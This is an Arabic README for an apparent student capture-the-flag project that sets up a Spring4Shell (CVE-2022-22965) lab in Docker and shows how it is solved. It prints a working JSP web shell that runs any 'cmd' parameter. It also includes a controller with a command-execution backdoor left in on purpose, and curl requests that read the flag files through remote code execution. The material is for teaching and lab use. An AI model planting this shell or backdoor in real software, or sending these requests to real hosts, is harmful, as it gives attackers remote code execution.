
Spring4Shell (CVE-2022-22965) إعداد بيئة الثغرة وتحدي CTF
يحتوي هذا المشروع على مسارين عمليين لأبحاث الأمن السيبراني:
سيحقق المشاركون تنفيذ الأوامر عن بُعد (RCE) عبر الثغرة، وسيتبعون الأدلة لقراءة العلم من الدليل الجذر للنظام أو الدليل المؤقت.
# تحديث قائمة الحزم
sudo apt update
# تثبيت Docker و Docker Compose
sudo apt install docker.io docker-compose -y
# بدء خدمة Docker
sudo systemctl start docker
sudo systemctl enable docker
# استنساخ مشروع Vulhub
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
# الانتقال إلى دليل ثغرة Spring4Shell
cd vulhub/spring/CVE-2022-22965
# تشغيل حاوية Docker
sudo docker-compose up -d
# التأكد من تشغيل الحاوية بشكل صحيح
sudo docker ps
افتح المتصفح وانتقل إلى http://localhost:8080/?name=Hacker&age=99
لتجنب التخمين الأعمى وإعادة إنتاج سيناريو التطوير الذاتي، أنشأ هذا المشروع مشروعًا مستقلاً باسم Spring4Shell-Custom-CTF. قم أولاً بتنظيف البيئة بالكامل، ثم قم بالتشغيل بدون ذاكرة تخزين مؤقت مع التجميع:
# تنظيف البيئة القديمة
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF
# إنشاء هيكل دليل المشروع وتوليد كود Java المصنوع يدويًا (بما في ذلك pom.xml و UserController.java إلخ.)
# من خلال التجميع على مرحلتين (Maven + Tomcat 9) لوضع العلم المصنوع يدويًا بدقة في الدليل الجذر للنظام /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d
# التأكد من تشغيل حاوية الهدف المصنوعة يدويًا بشكل صحيح
sudo docker ps
بعد نجاح الهجوم، سيتم كتابة الملف الخلفي في webapps/ROOT/tomcatwar.jsp، محتواه كما يلي:
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>
في UserController.java المصنوع يدويًا، تم الاحتفاظ عمدًا بعيب دفاع ربط كائنات POJO، وتم دمج قناة حقن أوامر غير مصرح بها:
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
if (cmd != null) {
// استدعاء Java Runtime مباشرة لتنفيذ الأوامر الأساسية وإرجاع النتيجة
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// ... منطق قراءة التدفق ...
}
return "جامعة تامكانغ - كلية إدارة المعلومات - منصة عرض مشاريع الطلاب النهائية";
}
# مسار الباب الخلفي لـ Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"
# مسار التحكم في البيئة المخصصة
curl "http://localhost:8080/?cmd=id"
# مسار الباب الخلفي لـ Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"
# مسار التحكم في البيئة المخصصة
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
/tmp/flag.txtFLAG{Spring4Shell_Is_Dangerous}http://localhost:8080/User). العلم موجود في الدليل الجذر لخادم النظام./flag.txtFLAG{2026_0615_iwanttosleep}http://<target>:8080/?name=test&age=123 لتأكيد عمل ربط المعلمات بشكل طبيعي.tomcatwar.jsp.http://<target>:8080/tomcatwar.jsp?cmd=id لتأكيد نجاح RCE.curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" لقراءة الملف من الدليل المؤقت.يتبع المُحل (الهوية B) المعلومات المعروفة المقدمة من المُنشئ، ويرفض التخمين الأعمى، وينفذ الكود الموحد:
curl -i -s "http://localhost:8080/"
curl -s "http://localhost:8080/?cmd=whoami"
root.curl -s "http://localhost:8080/?cmd=id"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"
Spring4Shell-CTF/
├── README.md # ملف شرح المشروع
├── docker-compose.yml # ملف تكوين تنسيق الحاويات
├── Dockerfile # إعدادات صورة التجميع على مرحلتين
├── pom.xml # ملف إعدادات مشروع Maven
├── src/ # كود Java المصنوع يدويًا لنظام عرض النتائج
│ └── main/
│ ├── java/com/example/ctf/
│ │ ├── UserController.java
│ │ └── MyWebApplicationInitializer.java
│ └── webapp/WEB-INF/web.xml
├── secret_zone/
│ └── flag.txt # ملف العلم المحلي
├── screenshots/ # لقطات توضيحية للنتائج والهجوم
│ ├── docker-ps.png
│ ├── parameter-binding.png
│ ├── rce-id.png
│ ├── rce-ls.png
│ └── flag-result.png
└── shell.jsp # كود الباب الخلفي القديم
| الدور | الاسم | المهام |
|---|---|---|
| العضو أ | هوانغ يوتينغ | إعداد البيئة، كتابة كود Java الكامل للمشروع، تغليف Docker، حل التحدي القياسي المكون من 5 خطوات لـ CTF |
| العضو ب | لي تشنلين | البحث النظري، إعداد العرض التقديمي، تحرير فيديو التقرير، تنظيم شرح الحل |
هذا المشروع مخصص للأغراض التعليمية والبحثية فقط، ولا يجوز استخدامه على أنظمة غير مصرح بها.